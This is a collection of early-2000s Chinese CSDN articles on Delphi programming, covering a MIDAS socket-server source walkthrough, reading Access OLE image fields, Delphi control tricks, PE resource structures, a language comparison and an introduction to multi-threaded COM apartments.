//这两种创建TDataBlockInterpreter类实例的方法的区别也不去管它.
。。。
FInterpreter.InterpretData(Data);
。。。
就是这儿，就是这么一句。
它具体到底干了些什么呢？？
＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝
。。。
type
TSocketDispatcherThread = class(TServerClientThread, ISendDataBlock)
private
。。。
FInterpreter: TDataBlockInterpreter;
FTransport: ITransport;
。。。

＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝
FInterpreter这个对象引用就是这儿定义的。

procedure TDataBlockInterpreter.InterpretData(const Data: IDataBlock);
var
Action: Integer;
begin
Action := Data.Signature;//取出由客户端传来的数据块中请求标志值
//客户端数据块的具体数据格式等会儿说.
if (Action and asMask) = asError then DoException(Data);
try
case (Action and asMask) of //根据客户端的请求标志值作相应的处理.
//呵,就只有这么几个。一个大型的MIDAS系统
//就全站在它们肩上.
asInvoke: DoInvoke(Data);
asGetID: DoGetIDsOfNames(Data);
asCreateObject: DoCreateObject(Data);
asFreeObject: DoFreeObject(Data);
asGetServers: DoGetServerList(Data);
asGetAppServers: DoGetAppServerList(Data);//取这个再进一步读一读.
else
if not DoCustomAction(Action and asMask, Data) then
raise EInterpreterError.CreateResFmt(@SInvalidAction, [Action and asMask]);
end;
except
on E: Exception do
begin
Data.Clear;
WriteVariant(E.Message, Data);
Data.Signature := ResultSig or asError;
FSendDataBlock.Send(Data, False);
end;
end;
end;
＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝
顺着线一步步摸下去，
看它是怎么取APPSERVER列表返回客户端的。

很简单，就是通过GetMIDASAppServerList取本地的MIDAS应用服务
器列表，然后将其写在Data中，传回客户端就了事。
＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝
procedure TDataBlockInterpreter.DoGetAppServerList(const Data: IDataBlock);
var
VList: OleVariant;
List: TStringList;
i: Integer;
begin
Data.Clear;
List := TStringList.Create;
try
GetMIDASAppServerList(List, FCheckRegValue);//取本机的应用服务器列表
//想知道它是怎么做的吗?
//源码上都有,自己看.
if List.Count > 0 then
begin
VList := VarArrayCreate([0, List.Count - 1], varOleStr);
for i := 0 to List.Count - 1 do
VList[i] := List[i];
end else
VList := NULL;
finally
List.Free;
end;
WriteVariant(VList, Data);
Data.Signature := ResultSig or asGetAppServers;
FSendDataBlock.Send(Data, False);//将应用服务器列表传回客户端
end;

========================================================
哦..前面还有一个地方没有说,就是这个神秘的Data的数据格式,它是以接口
形式提供的,
这个程序中用的是TDataBlock中实现的这个接口.
源码中可以看出,TDataBlock中包含了一个Stream,
function TDataBlock.GetSize: Integer;
begin
Result := FStream.Size - BytesReserved;//BytesReserved的值这儿是8
end;
从这儿可以看出.数据块是从Stream的第8个字节算起,前面就是两个int型数的位置了.
function TDataBlock.GetSignature: Integer;
begin
FStream.Position := 0;
FStream.Read(Result, SizeOf(Result));
end;
呵, 没错, Stream的头四字节就是它的Signature.客户端的请求标志就是放在这儿.

function TDataBlock.GetStream: TStream;
var
DataSize: Integer;
begin
FStream.Position := 4;
DataSize := FStream.Size - BytesReserved;
FStream.Write(DataSize, SizeOf(DataSize));
FStream.Position := 0;
Result := FStream;
end;
这儿很明显,就是Data中包含数据的长度值.

需要提一下的是,如果你想改变一下传输数据块的格式,比如给它加密加压什么的,
中需要自己来实现IDataBlock接口,替掉TDataBlock就是了.

从这些源码中可以得到很多东西,无论是从优美的风格上,
无论是通讯程序开发还是MIDAS数据库以及DCOM学习或应用者,
它都是值得一读的源程序.
我觉得,更重要的是,它提供了一个严谨优美和实际的范例,更给出了
一个灵活实用的框架体系。

halfdream(哈欠) 于2001-10-14晚


CSDN_文档中心_讀取 Access 資料庫的圖形欄位

讀取 Access 資料庫的圖形欄位

（使用 Delphi 5 + ADOExpress）

資料提供、整理：陳國生，蔡煥麟，朱子

摘要

「如何讀取並顯示 Access 資料庫的圖形欄位資料？」已是個 FAQ，本文主旨即在說明解決此問題的方法。此方法最初是在 efg's Computer Lab 網站的一篇文章中得來，但目前該文已經在網站上消失了。如果你搜尋 Borland 新聞群組，也可以找到類似的解答，整理這篇文章只是方便大家參考。

請先確定你的電腦有安裝 Microsoft© Access 中文版，在本文中我們將使用其隨附的北風資料庫來做示範。

問題重現

  1. 建立一個新的專案，然後在 Form1 上面各放置一個 ADODataSet，DataSource，DBImage，DBGrid。
  2. 設定 ADODataSet1 的 ConnectionString 屬性：

    Provider=Microsoft.Jet.OLEDB.4.0;Data Source=C:\Program Files\Microsoft Office\Office\Samples\Northwind.mdb;Persist Security Info=False

    以及 CommandText 屬性：

    select * from 產品類別

  3. 把連接各元件的屬性設定好之後，將 ADODataSet1 的 Active 屬性設為 True，此時便會出現錯誤訊息 "Bitmap image is not valid."。由於該圖形是以 OLE 物件的形式存在資料庫中，而 DBImage 並未支援這種格式的圖形資料，因而發生錯誤。你可以在程式中加入下面這行程式碼，它會將圖形資料存到 Blob.dat 檔案裡面：

    TBlobField(ADODataSet1.FieldByName('圖片')).SaveToFile('Blob.dat');

    如果用 UltraEdit 之類的工具檢視該檔案的內容，可以看到它大概是長成這樣：

    1 151C2F00020000000D000E0014002100 ../...........!.
2 FFFFFFFF4269746D617020496D616765 ....Bitmap Image
3 005061696E742E506963747572650001 .Paint.Picture..
4 05000002000000070000005042727573 ...........PBrus
5 6800000000000000000020540000424D h......... T..BM
6 16540000000000007600000028000000 .T......v...(...
7 C0000000DF0000000100040000000000 ................
8 A0530000CE0E0000D80E000000000000 .S..............
9 00000000000000000000800000800000 ................
10 00808000800000008000800080800000 ................
11 C0C0C000808080000000FF0000FF0000 ................
12 00FFFF00FF000000FF00FF00FFFF0000 ................
13 FFFFFF00FF0CB0C9000B090900000A00 ................
14 9009000000000909A09A900B09000A90 ................
15 A00000000FFFEFFFFFFFFFFFFFFFFFCB ................
16 9CFCFEFAFFFFFFFFEDFFFEDEFFDEFEFC ................
17 FFFFDADA00D900009009009000000000 ................
18 090A00090BC0000900900000000A00AC ................
19 A0E0E0E0F0E9CA9000A9CB0C00009090 ................
20 E0000009090B0000D009009000000900 ................
21 009A000FFFFFFFFFFFFEFFFFFFFFFCAD ................
22 EBDBDFDFDFFFFFFFFFEFEDFFFEFFFFFF ................
23 FEFCAF0C9A0A0D00009A000000000000 ................
24 0009090A000B009A9000090000900C09 ................
25 00900900FA90ADA00090B00B00000000 ................
...

解決方法

前面說過，DBImage 之所以無法正常顯示圖形，是因為當初該欄位的圖形資料是以 OLE 物件的格式存進去的（跟是不是 Access 資料庫沒關係），所以解決方法就是將 OLE 格式的圖形資料轉換成 DBImage 支援的 bitmap 格式，參考以下步驟：

  1. 刪除 DBImage1，並且將以下程式碼貼到你的程式裡：

    procedure LoadImageFromField(APicture: TPicture; AField: TBlobField);
var
  ABitmap: TBitmap;
  AStream: TMemoryStream;
begin
  if AField.IsNull then
    Exit;

  AStream := TMemoryStream.Create;
  try
    AField.SaveToStream(AStream);

    // Skip OLE storage header
    AStream.Seek(78, soFromBeginning);
    ABitmap := TBitmap.Create;
    try
      ABitmap.LoadFromStream(AStream);
      APicture.Graphic := ABitmap;
    finally
      ABitmap.Free;
    end;
  finally
    AStream.Free;
  end;
end;

  2. 在 ADODataSet1 的 AfterScroll 事件中呼叫 LoadImageFromField 函式：

    procedure TForm1.ADOTable1AfterScroll(DataSet: TDataSet);
begin
  LoadImageFromField(
    Image1.Picture,
    DataSet.FieldByName('圖片') as TBlobField
  );
end;
  3. 編譯並執行程式，現在你應該可以看到圖形欄位正確地顯示在 Image1 裡面了。

下載範例程式：AdoAccessImg.zip

補充資料

[員工]資料表的[相片]欄位（朱子 提供）

有位網友(bcc10212001)於「點空間」留言板寫著以下的問題：

請教一個問題....

在delphi單元裡<讀取 Access 資料庫的圖形欄位（使用 Delphi5+ADOExpress）> 我照著做可以可以看到圖形欄位正確地顯示在 Image1 裡面。是如果Table改成"員工"卻不行，一樣出現Bitmap is not valid的問題，這是怎麼回事.....。

今我將我的回覆整理在此，與各位分享：

如果你用的是 Access 2002 的版本，員工相片欄位的資料格式已經變更為「文字」格式，所以自然就不能使用這個方法。

然而你用的是 Access 2000 或之前的版本，首先我必須指出的是微軟建立員工的各筆資料，是早在 Access 97 或更早的 Access 2.0 就建立好了，而這些資料都未經轉換或改變。因此，雖然同樣是 OLE 物件的資料格式，然而儲存的形式卻有差微的不同。當我將”產品類別”的”圖片”欄位資料，與”員工”的”相片”欄位資料轉成檔案儲存後，拿來一起比較時，可以發現這些微的不同，我將資料列示如下：

”產品類別”的”圖片”欄位資料
--------------------------------------------------------------------
1: 15 1C 2F 00 02 00 00 00 0D 00 0E 00 14 00 21 00; ../...........!.
2: FF FF FF FF 42 69 74 6D 61 70 20 49 6D 61 67 65; ....Bitmap Image
3: 00 50 61 69 6E 74 2E 50 69 63 74 75 72 65 00 01; .Paint.Picture..
4: 05 00 00 02 00 00 00 07 00 00 00 50 42 72 75 73; ...........PBrus
5: 68 00 00 00 00 00 00 00 00 00 20 54 00 00 42 4D; h......... T..BM
6: 16 54 00 00 00 00 00 00 76 00 00 00 28 00 00 00; .T......v...(...
7: C0 00 00 00 DF 00 00 00 01 00 04 00 00 00 00 00; ................
--------------------------------------------------------------------
”員工”的”相片”欄位資料
--------------------------------------------------------------------
1: 15 1C 2D 00 02 00 00 00 0B 00 0E 00 14 00 1F 00 ;..-.............
2: FF FF FF FF C2 49 B0 7D B9 CF BC 76 B9 B3 00 50 ; 　　　　點陣圖影像.P
3: 61 69 6E 74 2E 50 69 63 74 75 72 65 00 01 05 00 ;aint.Picture....
4: 00 02 00 00 00 07 00 00 00 50 42 72 75 73 68 00 ;.........PBrush.
5: 00 00 00 00 00 00 00 00 C0 53 00 00 42 4D B6 53 ; ........ ..BM 靦貶
6: 00 00 00 00 00 00 76 00 00 00 28 00 00 00 C0 00 ;......v...(...?
7: 00 00 DE 00 00 00 01 00 04 00 00 00 00 00 40 53 ;..?..........@S
--------------------------------------------------------------------

請注意 [42 4D B6 53] (第五行)這些資料，在”產品類別”的”圖片”欄位資料中，從頭起算至 79 個位址，而在”員工”的”相片”欄位資料中卻出現於第 77 個位址。因此從雙方的資料比較可以明顯看出，相差兩個字元，而這就是存取員工相片資料時，發生『Bitmap is not valid』錯誤訊息的關鍵。

因此在存取”員工”的”相片”欄位時，之前寫的 LoadImageFromField 函式必須稍作修改：

原為：

    AStream.Seek(78, soFromBeginning);

改成：

    AStream.Seek(76, soFromBeginning);

～ end ～

Nov-13-2001, Apr-13-2002


CSDN_文档中心_短消息开发接口!!!!!!!!!!!!!!!!!!

开发接口

1.动态连接库说明

为了对短消息信息供应商提供支持，本公司提供了一个高可靠性开发接口，支持用户的开发。接口软件运行于Windows平台，支持中英文短消息发送接收。随着模块功能的不断提升，我们将不断地增加开发软件包的功能，包括不久对GPRS的支持等。

开发软件包以动态连接库的形式提供，支持VB、VC和Delphi的调用。

文件列表：

文件名称 | 说明
AscendComm.dll | 通讯动态连接库
AscendSMS.dll | 短信息处理动态连接库
AscendSMS.lib | LIB库文件(VC中使用)
AscendSMS动态链接库接口文档 | 帮助文件
Example目录 | 例子程序源代码目录，包括Delphi，VB，Vc++等。

典型调用流程：


CSDN_文档中心_对Delphi控件的一点改良（二）

如何在没有画布的控件上进行绘画呢？比如说Tpanel，他不具备画布的属性在上面写字画画都有困难。自己再把它包装一下吗？麻烦点吧！如何才能方便的进行处理呢？

看看这段代码

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ExtCtrls;

type
TForm1 = class(TForm)
Panel1: TPanel;
Button1: TButton;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
var
PanelCanvas: TCanvas;

begin
PanelCanvas := TControlCanvas.Create;
TControlCanvas(PanelCanvas).Control := Panel1;
PanelCanvas.Brush.Style := bsClear;
PanelCanvas.Pen.Color := clBlue;
PanelCanvas.Rectangle(2, 2, Panel1.Width - 2, Panel1.Height - 2);
PanelCanvas.Font.Name:='楷体_GB2312';
PanelCanvas.Font.Size:=24;
PanelCanvas.TextOut(Panel1.Width div 2,Panel1.Height div 2,'OK');
PanelCanvas.Free;
end;

end.

当少量应用时可以这样处理。当然如果要当量应用在没有画布的控件上绘画就用以上的方法把原来的控件包装一下开发一个新的控件，会更方便一些。


CSDN_文档中心_对Delphi控件的一点改良（三）

Parent属性的应用。大家常常忽视Parent属性的存在。那好就让他发发威吧。

看看这个好东东：

unit Edit1;

interface

uses
Windows, Messages, SysUtils, Classes, Controls, StdCtrls;

type
TSParent = class(TEdit)
private
{ Private declarations }
protected
{ Protected declarations }
public
{ Public declarations }
published
{ Published declarations }
property Parent;
end;

procedure Register;

implementation

procedure Register;
begin
RegisterComponents('Samples', [TSParent]);
end;

end.

安装这个控件。新建一个工程。

在Samples页上拖拽一个TSParent控件。你会说这不就是一个TEdit控件吗？

你再看看，他多出了一个Parent属性。这下可了不得了，它的容器竟可以在设计期间随意制定，不管别的控件有没有容器属性他都能够把它当作容器。TPanel、TEdit、TMemo她简直像一个无处不能存在的魔鬼。

该控件有两个缺点。1）Parent属性列表中不能列出Form。原因吗自己去想。2）Parent属性列表竟然能够列出它本身的控件。

不过想解决很容易，自己去作一个属性编辑器就行了。


CSDN_文档中心_对Delphi控件的一点改良

我们都知道Delphi的很多控件有滚动条，可现在很流行浮动式滚动条。Delphi的控件并不具备这样的外观。现在流行FloatStyle套件。可是当我不具备该套又想拥有浮动式滚动条的控件该怎么办呢？

用commctrl单元中的InitializeFlatSB函数

下面看个例子很好玩的

unit Unit1;

interface

uses
Windows, Messages, commctrl, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;

type
TForm1 = class(TForm)
Button1: TButton;
Memo1: TMemo;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
begin
InitializeFlatSB(Memo1.Handle);
end;

end.

想取消就调用UninitializeFlatSB好了。


CSDN_文档中心_对PE资源的研究

对PE资源的研究 作者：万重

主页：http://www.delphibox.com
邮箱：mantousoft@163.com

前言：没什么好说的，发现这方面的资料全是英文的，于是我一边研究，一边翻译，一边写出自己的心得。
希望大家尊重我的劳动成果，转贴保持完整。

资源一般使用树来保存，通常包含3层，在NT下，最高层是类型，然后是名字，最后是语言。一个PE文件是否包含资源文件，通常检测块表（Section Table）中是否含有'.rsrc'，不过这个方法对有些PE文件无效。

一个类型表结构如下
—————————————
| RESOURCE DIRECTORY |
—————————————
| RESOURCE DATA |
—————————————
资源表1（Resource File Layout）

其中的资源目录（RESOURCE DIRECTORY）结构如下：

——————————————————————————
| RESOURCE FLAGS |
——————————————————————————
| TIME/DATE STAMP |
——————————————————————————
| MAJOR VERSION | MINOR VERSION |
——————————————————————————
| # NAME ENTRY | # ID ENTRY |
——————————————————————————
| RESOURCE DIR ENTRIES |
——————————————————————————
资源表2（Resource Table Entry）

在DELPHI中的申明
{ Resources }
PIMAGE_RESOURCE_DIRECTORY = ^IMAGE_RESOURCE_DIRECTORY;
IMAGE_RESOURCE_DIRECTORY = packed record
Characteristics : DWORD;
TimeDateStamp : DWORD;
MajorVersion : WORD;
MinorVersion : WORD;
NumberOfNamedEntries : WORD;
NumberOfIdEntries : WORD;
end

其中：

RESOURCE FLAGS
通常设置为0

TIME/DATE STAMP
资源编译器建立此资源的时间/日期，可能为0

MAJOR/MINOR VERSION
版本信息

# NAME ENTRY
使用名字的资源条目的个数，包含一个使用名字的目录条目的数组。
# ID ENTRY
使用ID数字的资源条目的个数，包含一个32位的整数ID号，同用名字一样。
这个目录紧接着会是一个不定长度的目录条目，不管用的名字还是ID，都是用升序排列。

这个不定长度的目录结构如下：

31 0
——————————————————————
| NAME RVA/INTEGER ID |
——————————————————————
| E | DATA ENTRY RVA/SUBDIR RVA |
——————————————————————
资源表3（Resource Directory Entry）

在DELPHI中的申明：
PIMAGE_RESOURCE_DIRECTORY_ENTRY = ^IMAGE_RESOURCE_DIRECTORY_ENTRY;
IMAGE_RESOURCE_DIRECTORY_ENTRY = packed record
Name: DWORD; // Or ID: Word (Union)
OffsetToData: DWORD;

INTEGER ID
包含一个识别资源的整数ID
如果在根目录，这个ID表示的意义如下
资源类型
1: cursor
2: bitmap
3: icon
4: menu
5: dialog
6: string table
7: font directory
8: font
9: accelerators
10: unformatted resource data
11: message table
12: group cursor
14: group icon
16: version information

NAME RVA
名字的相对实际地址，包含一个31位的相对资源的Image Base的地址。表的形式见表4

E 一位的不可缺少的识别码(mask 80000000h)
如果这位为0，则为Resource Data Entries，其中DATA RVA = 31位的(mask 7fffffffh) 数据条目的地址。结构见表5
如果这位为1，则表示接另一个子目录（Subdirectory Entry）。

{ 此函数检验 offset 是一个字符串名还是一个目录 }
{ IMAGE_RESOURCE_NAME_IS_STRING
= IMAGE_RESOURCE_DATA_IS_DIRECTORY
= $80000000 }
function HighBitSet(L: Longint): Boolean;
begin
Result := (L and IMAGE_RESOURCE_DATA_IS_DIRECTORY) <> 0;
end;

{ 下面两个函数用于去掉E位剩下的值或者指针 }
{IMAGE_OFFSET_STRIP_HIGH = $7FFFFFFF;}
function StripHighBit(L: Longint): Longint;
begin
Result := L and IMAGE_OFFSET_STRIP_HIGH;
end;

function StripHighPtr(L: Longint): Pointer;
begin
Result := Pointer(L and IMAGE_OFFSET_STRIP_HIGH);
end;

每一个资源目录名为如下格式
——————————————————————
| LENGTH | UNICODE STRING |
——————————————————————
| LENGTH | UNICODE STRING |
——————————————————————
表4（Resource Directory String Entry）

在DELPHI中的申明
PIMAGE_RESOURCE_DIR_STRING_U = ^IMAGE_RESOURCE_DIR_STRING_U;
IMAGE_RESOURCE_DIR_STRING_U = packed record
Length : WORD;
NameString : array [0..0] of WCHAR;
end;

LENGTH
就是字符串的长度
UNICODE STRING
Unicode的字符串.

资源数据表结构：
—————————————
| DATA RVA |
—————————————
| SIZE |
—————————————
| CODEPAGE |
—————————————
| RESERVED |
—————————————
表5（Resource Data Entry）

在DELPHI中的申明
PIMAGE_RESOURCE_DATA_ENTRY = ^IMAGE_RESOURCE_DATA_ENTRY;
IMAGE_RESOURCE_DATA_ENTRY = packed record
OffsetToData : DWORD;
Size : DWORD;
CodePage : DWORD;
Reserved : DWORD;
end;

DATA RVA
资源的相对实际地址，包含一个32位相对于资源Image Base的地址。
SIZE
资源的大小。
CODEPAGE
没什么说的，好像为译码方面设置的。
RESERVED
一定为0

好了，差不多资源这部分分析玩了，其它部分我还在研究：）


CSDN_文档中心_多媒体和网络时代中，C++，Delphi，Java，还是C＃？

多媒体和网络时代中，C++，Delphi，Java，还是C＃？

在应用领域，C/C++不算高级语言，对硬件和系统程序员才算。虽然C++首脑任务坚称C++的地位不会有太大变化，但.NET和Java的对抗很可能最终将其踢出主赛局。

在多媒体、游戏等领域，据gamedev.net的资料，此领域以C++为主流。PS2，XBox等纯游戏机上只有C/C++可用，几乎所有的大游戏公司用C++，但近两年有一些采用其他语言的尝试。总的来说，大部分是C++，有一些是用的Delphi，一小部分是VB，很少的Java。从很久之前起，个人和小团体开发用VB的就较多，基本上都是不喜欢C/C++的人，现在因为考虑移植能力而转向Delphi和Java，当然也有转用C++的。最近由于新技术出现较多，基于C++的支持库变得更为复杂，于是出现很多对于Java替代C++的可行性的讨论，有比较可靠的说法是在较好的优化下配合最新的JIT，可以达到同等C++程序速度的1/4，图形密集程序在使用OpenGL生接口时与同等C++程序速度差不多，但Java3D接口很慢。现在有微软在力推.NET平台，C++在此没有什么优势，可能对今后的局势有较大的影响。

Pascal前途难料，苹果出了基于FreeBSD核心的MacOS X，这回是彻底的C/C++系统了，CodeWarrior放弃了Pascal编译器的开发，主推C++、Objective-C、Java，只剩下Pascal社区和民间的编译器在撑腰呐喊。Borland的OP倒是火得很，可惜Pascal没有严格标准，没有其他编译器能很好的兼容Borland的OP。

网络，当前商家的淘金之地，继浏览器之争之后，微软又被Sun的Java抢了先，不得不和与他一样的behemoth抢夺地盘。C++默默地筑造着网络的基础。

C++：在传统领域，如算法研究、数据计算、各种底层系统，几乎就是C/C++的天下，尤其在Unix类机器上。由于编程资源非常集中，以致很难不选择C++。C++有统一的标准，各种硬件平台都有它的编译器。有几年历史的大公司的软件也大多是基于C++的，大量的编程库资源也是基于C/C++的。理论上，C++能做任何事情。C++有强大的类型定义能力，如无所不包的对象模型、算符重载、模版、宏，可以对自己做扩充和定义；另一方面，也导致C++异常复杂、难维护，且编译速度很慢。因此也有很多人把C++当成更好的C用，不用C++中的复杂功能，这在游戏编程中很常见，因为他们更愿意把大部分精力放在实现感兴趣的功能而不是代码上。而兴趣在程式上的人则偏爱竭尽语言的能力，写出各种高明的代码，很可能是非常难懂的代码，但非常高效好用，例如C++标准模版库。在新兴领域，C++的处境就比较艰难，没有统一的高层工具库，而且工作量很大，而且是不必要又不得不的大。而且C++背后的权威人物Bjarne Stroustrup（就是在C++中加入dynamic_case<type>“这种丑陋语法”的人，用他自己的话说:P）拒绝改进C++语言，只推动改进C++库。所以C++的地位基本稳定的固定，既不会消亡，也不会扩大。其他评价：黑客级人物必用，不适合入门教学用途。

Delphi：确切的说是Object Pascal。简单直观而又强大是最直接的理由。不需要去花多少心思考虑语言实现，想什么写什么，而又不失C++的高效，甚至某些部分执行速度快过C++，如部分字符串操作和文件读写缓冲等，编译速度狂快（由语言特性决定）。包含大量好的新语言特性，拥有既简洁又强大的运行库和对象库，直接集成COM、Corba、网络组件、数据库，支持Windows、Linux，并即将支持.NET平台。在Delphi社区，对Delphi的支持是近乎狂热的，成员们拿出自己最得意的源代码来共享，如果你是新手，又想快速成为高手，Delphi是最佳选择。但你来自C++背景，你会对begin..end、不能随处声明变量、没有++运算符等感到反感；如果你喜欢复杂的代码且很熟悉STL并大量使用，你会因Delphi没有模版而失望。Delphi提供了大部分的系统API接口，但也有很多欠缺，Delphi社区提供了大量的API接口或封装，如DirectX（Delphi不需要导入库和静态库，百兆的C/C++SDK的Delphi版只有几兆:P）、OpenGL1.2的接口和封装，但一般会有几种不同的版本，质量好坏不一，当然也未必比Borland提供的差，事实上Borland也用社区提供的源代码。只有Borland一家做OP的编译器，没有业内标准，没有其他选择，虽有可部分兼容OP的FreePascal，可没有了Delphi的库的编译器的吸引力就少了大半。由于Delphi刚兴起没几年，使用它的公司还不多，组织倒有不少。如果你将找工作，一定弄清你要工作的领域是否多用Delphi，如数据库领域就是。其他评价：节省你一大笔时间，可以给你充分的机会改进你的程序或出去玩;)。

Java：由C++简化而来。Sun对Java语言的设计上的确有很大创新，当年博得一致的喝采。语言并不必须复杂才能强大，就像在微软还是英雄的年代Bill Gates说他能用Basic做到C能做到的任何事情。Java也正是如此。由虚拟机执行Java程序，不依赖于平台，这是给程序员的一大福音。尤其对于互联网，Java是具有天生的资质。但由于Sun的一些失误，也使Java有了些不好的名声和导致Java没有达到预期的前景。一是Sun的虚拟机速度太慢且不好的垃圾收集算法导致宝贵的内存资源极度浪费，除非空闲物理内存大于程序所需全部内存，否则系统就会严重受垃圾收集的影响，这个弊病遭到强烈的抨击。现在的虚拟机技术要比以前强了不少，我个人觉得其他厂商提供的Java虚拟机都比Sun的好。二是糟糕的类库。Sun对PC的了解远不如对他们的高端服务器和工作站，设计的类库也是浓烈的Sun的味道，而且各部分风格不一，似乎是很多缺少交流的人写出的。熟悉PC编程的人会觉得极为罗索冗长且怪异低效，以致出现很多其他替代类库（微软就做了两套）。这个问题到1.2版出台时才有些改善。三是Sun拒将Java交给标准局，做虚拟机需Sun授权。因此，Java现在集中在电子商务领域，由于其跨平台能力，其地位基本上是不可替代的。其他评价：网络应用必学。

C#：新品种的C++，被称作C++--。可以说迎合了大部分C++程序员的愿望，即保持C++的强大又做了适度的简化，同时加入了时髦的语言特性，基于.NET平台，简单的说，太棒了。但是等等，C#并不完美，如果你是C++程序员，你未必完全喜欢它。而且由于C＃是新东西，还没有多少资源可用。总之，这里还是未开垦的土地，虽然很有吸引力，但你必须对是否踏进这片土地非常谨慎。如果你是决心跟着微软走的，而且已有编程经验，那么可以放心地拿起C#。其他评价：将来很可能是Java的劲敌，微软的主要开发工具。


CSDN_文档中心_多线程与COM （Multi-Threading And COM ---For Delphi ）

Athena

Multi-Threading And COM

Brian Long (www.blong.com)

This article first appeared in The Delphi magazine, Issue 60 (August 2000).

Table Of Contents

  • Introduction
  • Apartments
  • Apartment Types
  • How Apartments Are Created
  • Why Have Apartments?
  • How Does An STA Work?
  • How Does An MTA Work?
  • Choosing Apartment Types
  • In-Proc COM Object Threading Model
  • ComObj And Apartments
  • Delphi 4 And CoInitFlags
  • The COM Object Wizard
  • Inter-Apartment Interface Passing
  • Creating STAs
  • Apartment Interaction
  • Efficiency Considerations
  • The Both-Threading Model
  • MTS, COM+ and Windows 2000
  • Summary
  • References
  • Acknowledgements
  • About Brian Long

Introduction

Growing numbers of Delphi developers are now getting into COM. This can only be a good thing as COM has a growing significance in Windows development. COM is providing more and more of the underpinnings of many parts of Windows application development. Consequently we see a lot of COM information around in the Delphi publications. Some references are listed at the end of this article.

However, most information concentrates on dealing with COM in simple, non-threaded applications. Very little information exists on the subject of multi-threaded COM applications for the Delphi developer (although see Reference 1). Sure enough, there is quite a lot of printed information on the subject for C++ developers, but that is not entirely surprising.

This article tries to overcome this lack of information and attempts to provide an understanding of the concepts, terminology and issues involved in multi-threaded COM programming. It does not try and teach you safe multi-threaded programming which warrants a separate examination. Instead it assumes you have an appreciation of the general issues of multi-threaded programming, such as the necessity to protect or synchronise access to resources accessible from more than one thread. If not, you should investigate Windows synchronisation primitives such as mutexes, semaphores, events, critical sections (for example in References 6 and 7) and the Delphi TMultiReadExclusiveWriteSynchronizer class.

Before we start on the subject, I should mention that Delphi 3 did not have built-in support for thread-safe COM objects. Delphi 4 added some support, although it needed a little hand-holding. Delphi 5 was the first version to automatically cater for thread-aware COM objects in the RTL.

Apartments

No, I’m not about to launch into some spiel about American city dwellings. Instead, an apartment is an important thread-related concept in COM. When you read about multi-threaded COM programming you might find it all rather confusing due to the constant references to various types of apartments, so I feel it prudent to start by investigating what an apartment is.

As Windows developers, you are probably reasonably comfortable about the way parts of applications are managed by Windows. When a program is launched, Windows creates a process "object" containing information about that process. I placed the word object in quotes because whilst it may well be stored as an object, programmers do not have access to it in such a form.

Each process object has a unique identifying number, or process identifier (a DWord or unsigned 32-bit number). Applications can also gain varying degrees of access to the process object by getting a handle to it, which is called a process handle (a THandle, which again is a 32-bit number).

When the program initiates any threads, be it the first (or primary) thread of an application, or additional (secondary) threads, Windows similarly manages them with thread objects. These contain the state information of the thread, or the thread’s context. These thread objects also have unique identifiers (thread identifiers) and can be accessed through a thread handle.

It perhaps should be mentioned at this point that the Delphi VCL is almost entirely not thread-safe. You should therefore use some form of synchronisation to access any VCL objects from any thread other than the primary thread. In a normal thread class (inherited from TThread), you would use the Synchronize method.

When an application thread creates a window, Windows also manages that via some internal data structure containing information about the window, which we refer to with a window handle (a HWnd or THandle).

Processes, threads and windows are fairly old hat as Windows-managed entities. Apartments, are not as common to most, despite any application that deals with COM containing at least one of them. Apartments also reside in an executable and are also managed by Windows, but we programmers do not have easy access to them via handles or identifiers. Nevertheless, they get created (by COM) and are managed for us by the OS.

The job of an apartment is to control how interface method calls are dispatched to COM objects in a multi-threaded environment. If a COM object has not been written with the ability to deal with simultaneous access from multiple threads (in other words is not thread safe) the apartment mechanism will ensure that the object receives only one method call at a time. If the object has been written to be thread-safe, the apartment permits simultaneous access from multiple threads.

Apartment Types

The apartment therefore acts as a filter or funnel that ensures the COM object gets called in a manner that it can deal with. As was subtly implied by the previous paragraph there are two types of apartment. One that enforces serialised method calls (ensures only one method call executes at any time) and one that does not.

The first type is referred to as a Single-Threaded Apartment, or STA. Old Microsoft documentation referred to the STA model simply as the apartment-threaded model. The STA was introduced in Windows NT 3.51 and Windows 95. The second is called a Multi-Threaded Apartment, or MTA. The MTA model is also known as the free-threaded model. The MTA was introduced in Windows 95 with DCOM installed and in Windows NT 4.0.

In truth, there is also a third apartment type, the Thread-Neutral Apartment, or TNA, introduced by COM+ on Windows 2000, but I’ll ignore that for the time being in an attempt to keep things as simple as possible.

A COM object must belong to an apartment, be it an STA or an MTA. Moreover, it can only belong to one apartment. A COM object can advertise what type of apartment it is designed to work with by its threading model. Delphi’s COM Object Wizard allows you to choose your object’s threading model. In-process COM objects advertise their threading model in the Windows registry, as we will see later.

Any thread that accesses a COM object also belongs to exactly one apartment at a time. An apartment contains one or more threads in an application that can interact with COM (for example by calling COM object methods). If a thread in an apartment creates a COM object, that object belongs to the same apartment, although technically this may not always be the case.

An apartment can be shared by any number of COM objects which will all be accessible by clients in a manner dictated by the apartment type. Once instantiated, COM objects can never move to other apartments and so an apartment is part of the object’s identity.

An STA is so named because only one thread belongs to it. However an arbitrary number of threads can belong to an MTA. The enforced rule is that only threads in a COM object’s apartment are able to directly call its methods. If an object needs to be accessed by a thread in another apartment, either in the same or in a different process, the interface reference must be marshaled to the apartment. This concept will be detailed later.

Before moving on to the next section I must acknowledge that if this is all new to you, then it probably sounds very woolly, imprecise, up in the air and difficult to relate to. Also, all this nebulous talk of apartments with no real details may be prompting the popular Er, so what? response. This is perfectly understandable and fair enough.

As we proceed, real details will be revealed with the intention of solidifying this background information. If the first portion of this article makes little sense on the first run through, please be patient. Read it through to the end, then start at the beginning again. You should find that it all becomes much clearer when read through a second time.

